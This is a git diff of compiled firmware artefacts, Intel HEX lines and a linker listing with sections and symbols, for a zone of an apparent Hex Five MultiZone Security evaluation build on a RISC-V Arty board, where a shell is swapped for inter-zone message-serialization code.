+:1036B00037015C486389A7008357C400858B81CBA1
+:1036C000A9476316F900A28526856D2C0DEDF24001
+:1036D0006244D244B2494A854249056182809717C3
+:1036E00000009387E7D86314F400804459B7971714
+:1036F00000009387E7D3E31EF4F6C0449DBFA28584
+:10370000268521203DDD7D59D9B7411122C426C22D
+:103710004AC006C683A441812A892E8491C49C4C48
+:1037200081E72685EFF0CFA997170000938747D24E
+:103730006317F402C0408317C4001397070193F680
+:1037400087004183B5EA9376070195EA2547232050
+:10375000E90093E707042316F4007D5579A897172D
+:1037600000009387E7D06314F4008044E9B797170B
+:1037700000009387E7CBE310F4FCC0446DBF118BCE
+:1037800015C74C5891C9930744046385F5004A85D1
+:10379000EFE05FCF232A04028357C40023220400F2
+:1037A00093F7B7FD2316F4001C481CC08357C400D0
+:1037B00093E787002316F4001C4881EF8357C40069
+:1037C0001307002093F707286385E700A2854A8541
+:1037D00045248317C4001397070193F6170041830C
+:1037E0009DC2544823240400B306D04014CC14488E
+:1037F000014581E61377070829FFB240224492442D
+:1038000002494101828093762700014691E25048A7
+:1038100010C4F1BF411122C42A842E8523A2018243
+:1038200006C6EFE07FA7FD576316F50083A7418228
+:1038300091C31CC0B24022444101828083D7C5009D
+:10384000011122CC26CA06CE4AC84EC613F78700FD
+:10385000AA842E847DE3D8416347E000B8416344E5
+:10386000E00001457DA858546DDF856603A904007A
+:10387000F58F23A00400ADCF68488357C400918B17
+:1038800099C75C401D8D5C5899C33C401D8D5C54AC
+:103890000C502A86814626858297FD570357C4001F
+:1038A000631DF5009440F54763E4D708B70740204F
+:1038B0008507B3D7D700858BA5CF1C4823220400EA
+:1038C0001CC085677D8F19C7FD576314F5009C40A8
+:1038D00091E368C84C5823A02401C1D59307440440
+:1038E0006385F5002685EFE0FFB9232A040295BF22
+:1038F0000C508546014626850297FD57E31FF5F6D5
+:103900009C40A5DF75476385E70059476395E7004D
+:1039100023A02401B9B78357C40093E707042316F3
+:10392000F400F2406244D2444249B24905618280C7
+:10393000136707042316E400EDB783A90501E382AA
+:1039400009F203A905008D8B23A035013309394104
+:10395000014791E3D84918C4E35520F11C540C5099
+:10396000CA864E8626858297634AA0008357C40084
+:103970007D5593E707042316F40065B7AA99330928
+:10398000A940D9BF9C49A5C3011122CC06CE2A84E7
+:1039900019C51C4D89E72EC6EFF08F82B2459717E7
+:1039A00000009387E7AA639BF5004C408397C5000E
+:1039B00095C722856244F240056149B5971700001A
+:1039C000938707AB6394F5000C44CDB797170000BD
+:1039D000938707A6E39CF5FC4C44C9BFF2406244C0
+:1039E00001450561828001458280411122C42A84FB
+:1039F0002E85B285368623A2018206C6EFE01F8D92
+:103A0000FD576316F50083A7418291C31CC0B240E5
+:103A10002244410182805971CAD02E898395E500E4
+:103A2000A2D4A6D286D63284B68463DC050083177E
+:103A3000C90023A0040093F707088DE39307004013
+:103A400005A03000A122E34405FE3247BD67F98F8F
+:103A50007977BA9793B717009CC0CDB79307000446
+:103A6000B6501CC0265496540659014565618280A3
+:103A700083D7C500011122CC06CE26CA4AC8898B3D
+:103A80002E8489CF930774041CC01CC885475CC86A
+:103A9000F2406244D24442490561828074003000A1
+:103AA0002A89953FA245AA844A85EFE09FA701EDA8
+:103AB0008317C40013F7072061FFF19B93E72700EA
+:103AC0002316F400C1B797F7FFFF9387A7EA2324D3
+:103AD000F9028357C40008C008C893E707082316F3
+:103AE000F400A2475CC8B24789CF8315E4004A8539
+:103AF000D92001C98357C400F19B93E7170023160F
+:103B0000F4000355C400C98C2316940051B793F5F3
+:103B1000F50F2A966314C50001458280834705008E
+:103B2000E38DB7FE0505FDB7011122CC06CE26CAEE
+:103B30004AC84EC6328491E96244F240D2444249B6
+:103B4000B249B28505616FE0DF9D01EEEFE09F9322
+:103B50008144F24062444249B2492685D24405611B
+:103B600082802E89AA89A528CA84E37485FEA2854D
+:103B70004E85EFE01F9BAA8469DDCA852286EFE0AF
+:103B8000BF8BCA854E85EFE0FF8FE1B7411122C49C
+:103B90002A842E85B28523A2018206C6EFE00FF0AB
+:103BA000FD576316F50083A7418291C31CC0B24044
+:103BB000224441018280411122C42A842E8523A2FD
+:103BC000018206C6EFE02FF0FD576316F50083A7CC
+:103BD000418291C31CC0B24022444101828083A72C
+:103BE000C5FF1385C7FF63D50700AA959C413E9585
+:043BF000828001A02E
+:043BF40000000000CD
+:103BF800496E737472756374696F6E206164647260
+:103C0800657373206D697373616C69676E65642091
+:103C18003A203078253038782030782530387820A8
+:103C2800307825303878200A00000000496E737417
+:103C380072756374696F6E20616363657373206660
+:103C480061756C74203A20307825303878203078C7
+:103C58002530387820307825303878200A00000060
+:103C6800496C6C6567616C20696E737472756374F6
+:103C7800696F6E203A2030782530387820307825E2
+:103C880030387820307825303878200A0000000055
+:103C9800427265616B706F696E74203A20307825C6
+:103CA800303878203078253038782030782530380A
+:103CB80078200A004C6F61642061646472657373D4
+:103CC800206D697373616C69676E6564203A203092
+:103CD80078253038782030782530387820307825A5
+:103CE800303878200A0000004C6F616420616363FB
+:103CF800657373206661756C74203A2030782530BE
+:103D08003878203078253038782030782530387861
+:103D1800200A000053746F72652F414D4F20616473
+:103D28006472657373206D697373616C69676E651E
+:103D380064203A203078253038782030782530389B
+:103D48007820307825303878200A000053746F7254
+:103D58006520616363657373206661756C74203ACE
+:103D68002030782530387820307825303878203061
+:103D78007825303878200A00456E7669726F6E6D46
+:103D8800656E742063616C6C2066726F6D20552DB2
+:103D98006D6F6465203A2030782530387820307887
+:103DA8002530387820307825303878200A0000000F
+:103DB800456E7669726F6E6D656E742063616C6CAA
+:103DC8002066726F6D20532D6D6F6465203A203028
+:103DD80078253038782030782530387820307825A4
+:103DE800303878200A000000456E7669726F6E6D73
+:103DF800656E742063616C6C2066726F6D204D2D4A
+:103E08006D6F6465203A2030782530387820307816
+:103E18002530387820307825303878200A0000009E
+:103E28001B371B5B324B00000D444D4120747261FF
+:103E38006E7366657220636F6D706C657465200AB9
+:103E480000000000736F75726365203A2030782592
+:103E5800303878200A000000646573742020203A06
+:103E680020307825303878200A00000073697A6598
+:103E78002020203A20307825303878200A000000A9
+:103E88001B381B5B344200000D4D616368696E6529
+:103E98002074696D657220696E74657272757074CC
+:103EA800203A203078253038782030782530387816
+:103EB80020307825303878200A0000000A5A32204D
+:103EC8003E202573000000001B381B5B32420000B7
+:103ED800457863657074696F6E203A2030782530B4
+:103EE8003878203078253038782030782530387880
+:103EF800200A0000507265737320616E79206B652B
+:103F08007920746F2072657374617274200A0000DE
+:103F1800BCDBFFFFEEDBFFFFFCDBFFFF0ADCFFFF84
+:103F280018DCFFFF64DCFFFF78DCFFFF9CDCFFFF91
+:103F3800AADCFFFFB8DCFFFFAEDBFFFFC6DCFFFF3C
+:103F480055415254000000001B5B324A1B5B48007D
+:103F58003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D89
+:103F68003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D79
+:103F78003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D69
+:103F88003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D59
+:103F98003D3D3D3D3D0A00002020202020200920F5
+:103FA8002020202020202020202020204865782044
+:103FB80046697665204D756C74695A6F6E65C2AE38
+:103FC8002053656375726974792020202020202091
+:103FD800202020202020202020202020200A00002F
+:103FE80020202020436F70797269676874C2A92005
+:103FF800323032302048657820466976652053652E
+:104008006375726974792C20496E632E202D2041C6
+:104018006C6C205269676874732052657365727698
+:104028006564202020200A00546869732076657230
+:1040380073696F6E206F66204D756C74695A6F6E68
+:1040480065C2AE20536563757269747920697320FF
+:104058006D65616E7420666F72206576616C75613E
+:1040680074696F6E20707572706F736573200A00C3
+:104078006F6E6C792E20417320737563682C2075E0
+:104088007365206F66207468697320736F66747730
+:1040980061726520697320676F7665726E6564204A
+:1040A800627920746865204576616C756174696F02
+:1040B8006E202020200A00004C6963656E73652E0F
+:1040C800205468657265206D6179206265206F747F
+:1040D8006865722066756E6374696F6E616C206CBA
+:1040E800696D69746174696F6E73206173206465AA
+:1040F8007363726962656420696E2020200A00007B
+:10410800746865206576616C756174696F6E20539B
+:10411800444B20646F63756D656E746174696F6E6E
+:104128002E2054686520636F6D6D65726369616CDC
+:104138002076657273696F6E206F662074686520DB
+:1041480020202020200A0000736F66747761726552
+:1041580020646F6573206E6F7420686176652074C3
+:1041680068657365207265737472696374696F6ECC
+:10417800732E2020202020202020202020202020D6
+:10418800202020202020202020202020200A00007D
+:104198000A0D5A32203E20007A6D2D3E646174610A
+:1041A8003A2025730A00000053746F72696E672005
+:1041B80072762076616C756520696E207A6D2D3E69
+:1041C800646174610A00000053656E64696E67205B
+:1041D800726573706F6E736520746F207A6F6E6589
+:1041E8002031202D2072763D3D25750A0000000003
+:1041F8004D6573736167652073656E7420746F20F5
+:104208007A6F6E6520320A00526563656976656467
+:104218002061205A6F6E654D65737361676520690B
+:104228006E207A6F6E6520322066726F6D207A6F0D
+:104238006E6520322E20496E74656E6465643F0A8F
+:10424800000000006D795F7365637265745F616477
+:104258006D696E5F6E616D65000000005472616E7D
+:10426800736D697373696F6E4C00000070696E67D7
+:1042780000000000706F6E67000000000D5A256492
+:10428800203E202573200A000D5A32203E20257337
+:104298000000000072656365697665642061205AD4
+:1042A8004D2D486561646572206D6573673A2025F8
+:1042B80073253032750A0000446573657269616C54
+:1042C800697A656420746865205A4D2D4865616473
+:1042D8006572206D6573670A000000005365726996
+:1042E800616C697A696E67207669612066756E63AC
+:1042F80074696F6E2063616C6C0A000053657269A3
+:10430800616C697A6174696F6E2073756363657334
+:104318007366756C0A000000696E207365636F6EC2
+:10432800642069662073636F70650A006465636C56
+:1043380061726564206462670A00000041737369F2
+:10434800676E65642022412220746F206462670AC8
+:1043580000000000436F7079696E6720696E746FA2
+:1043680020646267206275666665723A2066726FBD
+:104378006D20706F736974696F6E207A6D62202B7F
+:104388002025303275202B20253032752077726930
+:1043980074696E6720253032752042797465730A16
+:1043A8000000000053657269616C697A6564206970
+:1043B8006E746F3A205B25735D5B253032755D5BEB
+:1043C800253032755D0A000053657269616C697A3F
+:1043D800656420696E746F3A205B25735D5B2530D8
+:1043E80032755D5B25735D0053656E743A202573E5
+:1043F800253032750A00000053656E743A20253066
+:1044080032750A0053656E742077686F6C65206D8D
+:1044180065737361676520746F207A6F6E652031EC
+:104428000A0000000000000000000000000000007A
+:104438000000000000000000000000000000000074
+:104448000000000000000000000000000000000064
+:104458000000000000000000000000000000000054
+:104468000000000000000000000000000000000044
+:104478000000000000000000000000000000000034
+:1044880000000000232D302B20000000686C4C0039
+:104498006566674546470000303132333435363774
+:1044A8003839414243444546000000003031323338
+:1044B8003435363738396162636465660000000058
+:1044C80046EBFFFF5CEBFFFF1CEBFFFF1CEBFFFF66
+:1044D8001CEBFFFF1CEBFFFF5CEBFFFF1CEBFFFF80
+:1044E8001CEBFFFF1CEBFFFF1CEBFFFFB2ECFFFF19
+:1044F8009AEBFFFF84ECFFFF1CEBFFFF1CEBFFFFB9
+:10450800E2ECFFFF1CEBFFFF9AEBFFFF1CEBFFFF4A
+:084518001CEBFFFF8CECFFFF20
+:10452000000000004C4440206C4440202C444020BB
+:10453000000000000000000000000000000000007B
+:10454000000000000000000000000000000000006B
+:10455000000000000000000000000000000000005B
+:10456000000000000000000000000000000000004B
+:10457000000000000000000000000000000000003B
+:1045800000D800804C424020D4D8008014D900804C
+:08459000E0E1008000D800808A
 :04000005204018007F
 :00000001FF
diff --git a/ArtyImplementation/zone2/zone2.lst b/ArtyImplementation/zone2/zone2.lst
index 9e6d4cf7816545294debfce984ebf36c8013c271..6e3565a59617877cd98b9039c6053f8aad206396 100644
--- a/ArtyImplementation/zone2/zone2.lst
+++ b/ArtyImplementation/zone2/zone2.lst
@@ -7,42 +7,42 @@ start address 0x20401800
 
 Program Header:
     LOAD off    0x00000000 vaddr 0x20401000 paddr 0x20401000 align 2**12
-         filesz 0x00004fe0 memsz 0x00004fe0 flags r-x
-    LOAD off    0x00005800 vaddr 0x8000d800 paddr 0x20405fe0 align 2**12
-         filesz 0x00000080 memsz 0x00000080 flags rw-
-    LOAD off    0x00000880 vaddr 0x8000d880 paddr 0x8000d880 align 2**12
-         filesz 0x00000000 memsz 0x00000f80 flags rw-
+         filesz 0x00003520 memsz 0x00003520 flags r-x
+    LOAD off    0x00003800 vaddr 0x8000d800 paddr 0x20404520 align 2**12
+         filesz 0x00000078 memsz 0x00000078 flags rw-
+    LOAD off    0x00000878 vaddr 0x8000d878 paddr 0x8000d878 align 2**12
+         filesz 0x00000000 memsz 0x00000f88 flags rw-
 
 Sections:
 Idx Name              Size      VMA       LMA       File off  Algn  Flags
   0 .init             00000070  20401800  20401800  00000800  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
-  1 .text             000039a8  20401870  20401870  00000870  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
-  2 .rodata           00000dc8  20405218  20405218  00004218  2**3  CONTENTS, ALLOC, LOAD, READONLY, DATA
-  3 .data             00000070  8000d800  20405fe0  00005800  2**3  CONTENTS, ALLOC, LOAD, DATA
-  4 .sdata            00000010  8000d870  20406050  00005870  2**3  CONTENTS, ALLOC, LOAD, DATA
-  5 .bss              000002f8  8000d880  8000d880  00005880  2**3  ALLOC
-  6 .stack            00000800  8000db80  8000db80  00005880  2**4  ALLOC
-  7 .heap             00000480  8000e380  8000e380  00005880  2**3  ALLOC
-  8 .riscv.attributes 0000002b  00000000  00000000  00005880  2**0  CONTENTS, READONLY
-  9 .comment          00000012  00000000  00000000  000058ab  2**0  CONTENTS, READONLY
- 10 .debug_line       00004017  00000000  00000000  000058bd  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 11 .debug_info       00003601  00000000  00000000  000098d4  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 12 .debug_abbrev     00000951  00000000  00000000  0000ced5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 13 .debug_aranges    00000150  00000000  00000000  0000d828  2**3  CONTENTS, READONLY, DEBUGGING, OCTETS
- 14 .debug_str        0000a620  00000000  00000000  0000d978  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 15 .debug_loc        0000265c  00000000  00000000  00017f98  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 16 .debug_ranges     00000540  00000000  00000000  0001a5f4  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 17 .debug_macro      00002d40  00000000  00000000  0001ab34  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 18 .debug_frame      0000033c  00000000  00000000  0001d874  2**2  CONTENTS, READONLY, DEBUGGING, OCTETS
+  1 .text             00002384  20401870  20401870  00000870  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
+  2 .rodata           00000928  20403bf8  20403bf8  00002bf8  2**3  CONTENTS, ALLOC, LOAD, READONLY, DATA
+  3 .data             00000060  8000d800  20404520  00003800  2**3  CONTENTS, ALLOC, LOAD, DATA
+  4 .sdata            00000018  8000d860  20404580  00003860  2**3  CONTENTS, ALLOC, LOAD, DATA
+  5 .bss              00000168  8000d878  8000d878  00003878  2**3  ALLOC
+  6 .stack            00000800  8000d9e0  8000d9e0  00003878  2**4  ALLOC
+  7 .heap             00000620  8000e1e0  8000e1e0  00003878  2**3  ALLOC
+  8 .riscv.attributes 0000002b  00000000  00000000  00003878  2**0  CONTENTS, READONLY
+  9 .comment          00000012  00000000  00000000  000038a3  2**0  CONTENTS, READONLY
+ 10 .debug_line       00002710  00000000  00000000  000038b5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 11 .debug_info       00001fc7  00000000  00000000  00005fc5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 12 .debug_abbrev     000006e9  00000000  00000000  00007f8c  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 13 .debug_aranges    00000120  00000000  00000000  00008678  2**3  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 14 .debug_str        0000a517  00000000  00000000  00008798  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 15 .debug_loc        00000a97  00000000  00000000  00012caf  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 16 .debug_ranges     00000240  00000000  00000000  00013746  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 17 .debug_macro      000032b4  00000000  00000000  00013986  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 18 .debug_frame      0000037c  00000000  00000000  00016c3c  2**2  CONTENTS, READONLY, DEBUGGING, OCTETS
 SYMBOL TABLE:
 20401800 l    d  .init	00000000 .init
 20401870 l    d  .text	00000000 .text
-20405218 l    d  .rodata	00000000 .rodata
+20403bf8 l    d  .rodata	00000000 .rodata
 8000d800 l    d  .data	00000000 .data
-8000d870 l    d  .sdata	00000000 .sdata
-8000d880 l    d  .bss	00000000 .bss
-8000db80 l    d  .stack	00000000 .stack
-8000e380 l    d  .heap	00000000 .heap
+8000d860 l    d  .sdata	00000000 .sdata
+8000d878 l    d  .bss	00000000 .bss
+8000d9e0 l    d  .stack	00000000 .stack
+8000e1e0 l    d  .heap	00000000 .heap
 00000000 l    d  .riscv.attributes	00000000 .riscv.attributes
 00000000 l    d  .comment	00000000 .comment
 00000000 l    d  .debug_line	00000000 .debug_line
@@ -56,59 +56,45 @@ SYMBOL TABLE:
 00000000 l    d  .debug_frame	00000000 .debug_frame
 00000000 l    df *ABS*	00000000 exit.c
 00000000 l    df *ABS*	00000000 main.c
-8000d898 l     O .bss	00000028 buffer
-8000d8c0 l     O .bss	00000108 history.0
-8000d9c8 l     O .bss	00000021 inputline
-8000d9ec l     O .bss	00000100 str.4
-8000d800 l     O .data	00000010 p.5
-8000d880 l     O .bss	00000004 esc.3
-8000d884 l     O .bss	00000004 p.2
-8000d874 l     O .sdata	00000004 h.1
+8000d888 l     O .bss	00000028 buffer
+8000d8b0 l     O .bss	00000021 inputline
+00000000 l    df *ABS*	00000000 ZoneMessage.c
+00000000 l    df *ABS*	00000000 messageHandling.c
+8000d8d4 l     O .bss	00000080 str.0
+8000d868 l     O .sdata	00000008 recvBuffer.1
 00000000 l    df *ABS*	00000000 newlib.c
-8000d878 l     O .sdata	00000004 _heap_ptr.0
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 abs.c
+8000d870 l     O .sdata	00000004 _heap_ptr.0
 00000000 l    df *ABS*	00000000 atexit.c
 00000000 l    df *ABS*	00000000 fini.c
 00000000 l    df *ABS*	00000000 init.c
+00000000 l    df *ABS*	00000000 malloc.c
+00000000 l    df *ABS*	00000000 nano-mallocr.c
+00000000 l    df *ABS*	00000000 nano-mallocr.c
 00000000 l    df *ABS*	00000000 printf.c
-00000000 l    df *ABS*	00000000 qsort.c
-204030d0 l     F .text	00000042 swapfunc
-20403112 l     F .text	00000056 med3.constprop.0
-00000000 l    df *ABS*	00000000 sprintf.c
-00000000 l    df *ABS*	00000000 strcpy.c
+00000000 l    df *ABS*	00000000 sbrkr.c
+00000000 l    df *ABS*	00000000 snprintf.c
 00000000 l    df *ABS*	00000000 strlen.c
-00000000 l    df *ABS*	00000000 strncpy.c
+00000000 l    df *ABS*	00000000 strncmp.c
 00000000 l    df *ABS*	00000000 strnlen.c
 00000000 l    df *ABS*	00000000 strrchr.c
-00000000 l    df *ABS*	00000000 strtok.c
-00000000 l    df *ABS*	00000000 strtok_r.c
-00000000 l    df *ABS*	00000000 strtoull.c
-204035d0 l     F .text	000001a0 _strtoull_l.constprop.0
-00000000 l    df *ABS*	00000000 strtoul.c
-2040377c l     F .text	00000110 _strtoul_l.constprop.0
 00000000 l    df *ABS*	00000000 sysisatty.c
 00000000 l    df *ABS*	00000000 sysopen.c
 00000000 l    df *ABS*	00000000 sysread.c
 00000000 l    df *ABS*	00000000 syswrite.c
 00000000 l    df *ABS*	00000000 writer.c
 00000000 l    df *ABS*	00000000 __atexit.c
-8000daec l     O .bss	0000008c _global_atexit0
+8000d954 l     O .bss	0000008c _global_atexit0
 00000000 l    df *ABS*	00000000 __call_atexit.c
 00000000 l    df *ABS*	00000000 findfp.c
-20403a42 l     F .text	0000006a std
+20402908 l     F .text	00000068 std
 00000000 l    df *ABS*	00000000 fwalk.c
-00000000 l    df *ABS*	00000000 malloc.c
-00000000 l    df *ABS*	00000000 nano-mallocr.c
-00000000 l    df *ABS*	00000000 nano-mallocr.c
+00000000 l    df *ABS*	00000000 mlock.c
 00000000 l    df *ABS*	00000000 nano-vfprintf.c
 00000000 l    df *ABS*	00000000 nano-vfprintf_i.c
 00000000 l    df *ABS*	00000000 nano-vfprintf.c
-204044d0 l     F .text	00000028 __sfputc_r
+20403218 l     F .text	00000028 __sfputc_r
 00000000 l    df *ABS*	00000000 openr.c
 00000000 l    df *ABS*	00000000 readr.c
-00000000 l    df *ABS*	00000000 sbrkr.c
 00000000 l    df *ABS*	00000000 stdio.c
 00000000 l    df *ABS*	00000000 strchr.c
 00000000 l    df *ABS*	00000000 wbuf.c
@@ -118,17 +104,13 @@ SYMBOL TABLE:
 00000000 l    df *ABS*	00000000 lseekr.c
 00000000 l    df *ABS*	00000000 makebuf.c
 00000000 l    df *ABS*	00000000 memchr.c
-00000000 l    df *ABS*	00000000 mlock.c
 00000000 l    df *ABS*	00000000 nano-mallocr.c
 00000000 l    df *ABS*	00000000 fstatr.c
 00000000 l    df *ABS*	00000000 isattyr.c
 00000000 l    df *ABS*	00000000 nano-mallocr.c
-00000000 l    df *ABS*	00000000 libgcc2.c
 00000000 l    df *ABS*	00000000 _exit.c
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 ctype_.c
 00000000 l    df *ABS*	00000000 impure.c
-8000d810 l     O .data	00000060 impure_data
+8000d800 l     O .data	00000060 impure_data
 00000000 l    df *ABS*	00000000 
 20401870 l       .text	00000000 __fini_array_end
 20401870 l       .text	00000000 __fini_array_start
@@ -136,130 +118,121 @@ SYMBOL TABLE:
 20401870 l       .text	00000000 __preinit_array_end
 20401870 l       .text	00000000 __init_array_start
 20401870 l       .text	00000000 __preinit_array_start
-20404ec2 g     F .text	00000014 _malloc_usable_size_r
+20403bde g     F .text	00000014 _malloc_usable_size_r
 8000b800 g       *ABS*	00000000 sh_buff2_start
-20404e9a g     F .text	00000028 _isatty_r
-20403466 g     F .text	00000012 strcpy
-20404cca g     F .text	0000002c _lseek_r
-20403094 g     F .text	0000003c printf
-8000e070 g       .sdata	00000000 __global_pointer$
-204048d2 g     F .text	00000036 __sseek
-20403afc g     F .text	0000006a __sinit
-20404928 g     F .text	000000c2 __swbuf_r
-20403ab6 g     F .text	00000046 __sfmoreglue
-20404e0a g     F .text	00000002 __malloc_unlock
-2040305e g     F .text	00000026 memmove
-20403574 g     F .text	0000005c __strtok_r
-20404e70 g     F .text	0000002a _fstat_r
-8000d894 g     O .bss	00000004 errno
+20403bb6 g     F .text	00000028 _isatty_r
+204039ea g     F .text	0000002c _lseek_r
+204025f2 g     F .text	0000003a printf
+8000e060 g       .sdata	00000000 __global_pointer$
+204035f2 g     F .text	00000036 __sseek
+204029c0 g     F .text	0000006a __sinit
+20403648 g     F .text	000000c2 __swbuf_r
+2040297a g     F .text	00000046 __sfmoreglue
+20402b34 g     F .text	00000002 __malloc_unlock
+2040244e g     F .text	00000026 memmove
+20402652 g     F .text	0000006e snprintf
+20403b8c g     F .text	0000002a _fstat_r
+8000d884 g     O .bss	00000004 errno
 00000800 g       *ABS*	00000000 __stack_size
-8000d870 g       .sdata	00000000 __SDATA_BEGIN__
-20403168 g     F .text	000002a2 qsort
-20403048 g     F .text	00000016 memcpy
-20403aac g     F .text	0000000a _cleanup_r
-20403edc g     F .text	00000276 _svfprintf_r
-204026f8 g     F .text	00000424 readline
-2040206c g     F .text	0000015c print_pmp
-20401e04 g     F .text	00000268 print_stats
-20403c6e g     F .text	00000008 malloc
-20403898 g     F .text	00000004 isatty
-20402b20 g     F .text	00000008 _fstat
-204021c8 g     F .text	00000124 msg_handler
+8000d860 g       .sdata	00000000 __SDATA_BEGIN__
+20402438 g     F .text	00000016 memcpy
+20402970 g     F .text	0000000a _cleanup_r
+20402c22 g     F .text	00000278 _svfprintf_r
+20402428 g     F .text	00000008 malloc
+20402762 g     F .text	00000002 isatty
+2040229c g     F .text	00000008 _fstat
 80000000 g       *ABS*	00000000 dtim
-2040388c g     F .text	0000000c strtoul
-2040482a g     F .text	00000028 _sbrk_r
-204047fe g     F .text	0000002c _read_r
-204022ec g     F .text	0000040c cmd_handler
+2040262c g     F .text	00000026 _sbrk_r
+20403546 g     F .text	0000002c _read_r
 8000e800 g       .heap	00000000 _heap_end
-20404ed6 g     F .text	00000340 .hidden __umoddi3
-20402b4a g     F .text	00000006 _isatty
+204022c6 g     F .text	00000006 _isatty
 8000b800 g       *ABS*	00000000 sh_buff1_end
-8000d870 g     O .sdata	00000004 _global_impure_ptr
-20404e0c g     F .text	00000064 _realloc_r
-20402fea g     F .text	0000005e __libc_init_array
-8000db78 g       .stack	00000000 __bss_end
-20402c3e g     F .text	00000360 .hidden __udivdi3
-20402b54 g     F .text	00000030 _open
-20402b28 g     F .text	00000022 _sbrk
+8000d860 g     O .sdata	00000004 _global_impure_ptr
+20403b28 g     F .text	00000064 _realloc_r
+204023ca g     F .text	0000005e __libc_init_array
+8000d9e0 g       .stack	00000000 __bss_end
+204022d0 g     F .text	0000002e _open
+204022a4 g     F .text	00000022 _sbrk
 2040186c g     F .init	00000002 _init
-204034ae g     F .text	00000018 strnlen
-204019ac g     F .text	00000012 cmpfunc
-20402fb4 g     F .text	00000036 __libc_fini_array
-204034c6 g     F .text	00000032 strrchr
-204019be g     F .text	000002cc trap_handler
-20401c8a g     F .text	0000017a print_cpu_info
+20402718 g     F .text	00000018 strnlen
+20402394 g     F .text	00000036 __libc_fini_array
+20402730 g     F .text	00000032 strrchr
+20401d2a g     F .text	0000001a freeZoneMessage
+20401a46 g     F .text	000002cc trap_handler
 8000b000 g       *ABS*	00000000 sh_buff1_start
-204038d2 g     F .text	0000000c write
-20402c14 g     F .text	0000002a .hidden __lshrdi3
+2040279a g     F .text	0000000c write
+20401d44 g     F .text	00000040 setZoneMessage
 8000d800 g       *ABS*	00000000 sh_buff2_end
-20405eec g     O .rodata	00000020 __sf_fake_stderr
-20403df4 g     F .text	000000e8 __ssputs_r
-204044f8 g     F .text	00000042 __sfputs_r
-20404dee g     F .text	0000001a memchr
-20403c76 g     F .text	000000a2 _free_r
-8000d888 g     O .bss	00000004 _global_atexit
-2040397e g     F .text	000000c4 __call_exitprocs
-8000e380 g       .stack	00000000 _sp
+2040442c g     O .rodata	00000020 __sf_fake_stderr
+20402652 g     F .text	0000006e sniprintf
+20402b36 g     F .text	000000ec __ssputs_r
+20403240 g     F .text	00000042 __sfputs_r
+20403b0e g     F .text	0000001a memchr
+20402484 g     F .text	0000009e _free_r
+8000d880 g     O .bss	00000004 _global_atexit
+20402844 g     F .text	000000c4 __call_exitprocs
+8000e1e0 g       .stack	00000000 _sp
 20401800 g     F .init	00000000 _start
-20402b50 g     F .text	00000004 _lseek
-204038c4 g     F .text	0000000e read
-204047d2 g     F .text	0000002c _open_r
-2040390a g     F .text	00000074 __register_exitproc
-2040348a g     F .text	00000024 strncpy
-20404af4 g     F .text	00000028 _close_r
-204034f8 g     F .text	0000007c strtok
-204049ea g     F .text	0000010a __swsetup_r
-20403b66 g     F .text	0000009e __sfp
-8000db78 g       .stack	00000000 __BSS_END__
-20404852 g     F .text	00000030 __sread
-20404e08 g     F .text	00000002 __malloc_lock
-20404c64 g     F .text	00000066 _fflush_r
-20405f0c g     O .rodata	00000020 __sf_fake_stdin
-20403770 g     F .text	0000000c strtoull
-8000d880 g       .bss	00000000 __bss_start
-20403084 g     F .text	00000010 memset
-2040189c g     F .text	00000110 main
+204022cc g     F .text	00000004 _lseek
+2040278c g     F .text	0000000e read
+2040351a g     F .text	0000002c _open_r
+204027d0 g     F .text	00000074 __register_exitproc
+204026ea g     F .text	0000002e strncmp
+20403814 g     F .text	00000028 _close_r
+2040370a g     F .text	0000010a __swsetup_r
+20402a2a g     F .text	0000009e __sfp
+8000d9e0 g       .stack	00000000 __BSS_END__
+20403572 g     F .text	00000030 __sread
+20402b32 g     F .text	00000002 __malloc_lock
+20403984 g     F .text	00000066 _fflush_r
+2040444c g     O .rodata	00000020 __sf_fake_stdin
+8000d878 g       .bss	00000000 __bss_start
+20402474 g     F .text	00000010 memset
+2040189c g     F .text	000001aa main
 20400000 g       *ABS*	00000000 flash
-20404908 g     F .text	00000006 __sclose
-20403d18 g     F .text	000000dc _malloc_r
-2040344e g     F .text	00000018 strcmp
+20403628 g     F .text	00000006 __sclose
+20402522 g     F .text	000000d0 _malloc_r
+20401f10 g     F .text	00000136 receiveZoneMessageAndHandlePrintf2
+204026c0 g     F .text	00000018 strcmp
 20400000 g       *ABS*	00000000 itim
 2040186e g     F .init	00000002 _fini
-20403094 g     F .text	0000003c iprintf
-2040340a g     F .text	00000044 sprintf
-20405ce8 g     O .rodata	00000100 .hidden __clz_tab
-20402fa8 g     F .text	0000000c atexit
-204038de g     F .text	0000002c _write_r
-20404152 g     F .text	0000010c _printf_common
-8000d87c g     O .sdata	00000004 _impure_ptr
-20404b1c g     F .text	00000148 __sflush_r
-20403edc g     F .text	00000276 _svfiprintf_r
+204025f2 g     F .text	0000003a iprintf
+20401e10 g     F .text	00000054 deserializeZoneMessage
+2040238a g     F .text	0000000a atexit
+204027a6 g     F .text	0000002a _write_r
+20401d12 g     F .text	00000018 initZoneMessage
+20402e9a g     F .text	0000010c _printf_common
+8000d874 g     O .sdata	00000004 _impure_ptr
